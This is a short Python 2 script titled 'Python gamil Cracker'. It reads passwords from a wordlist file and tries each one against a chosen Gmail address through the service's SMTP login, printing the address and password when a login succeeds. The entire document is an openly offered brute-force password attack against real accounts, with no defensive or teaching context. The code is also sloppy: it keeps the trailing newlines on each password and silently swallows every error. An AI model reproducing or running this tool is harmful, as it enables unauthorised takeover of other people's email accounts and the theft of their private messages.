Python gamil Cracker

import smtplib,time
import socket

def main():

    File = open('file.txt','r')
    server = smtplib.SMTP("smtp.gmail.com",587)
    server.ehlo()
    server.starttls()
    server.ehlo()

    key = raw_input('Press Enter to start cracking')
    if key or not key:
        print "Connected to googlemail", "\n"
        gmail_user = raw_input("Enter mail: ")

    while True:
        line = File.readline()

        if len(line) == 0: # Zero length indicates EOF
            print('All password tried!')
            raw_input('Press Enter to Exit')
            return None

        try:
            server.login(gmail_user, line)
            print "Sucesfully logged in"
            print "Email:", gmail_user
            print "Password:", line
            print
        except:
            pass




main()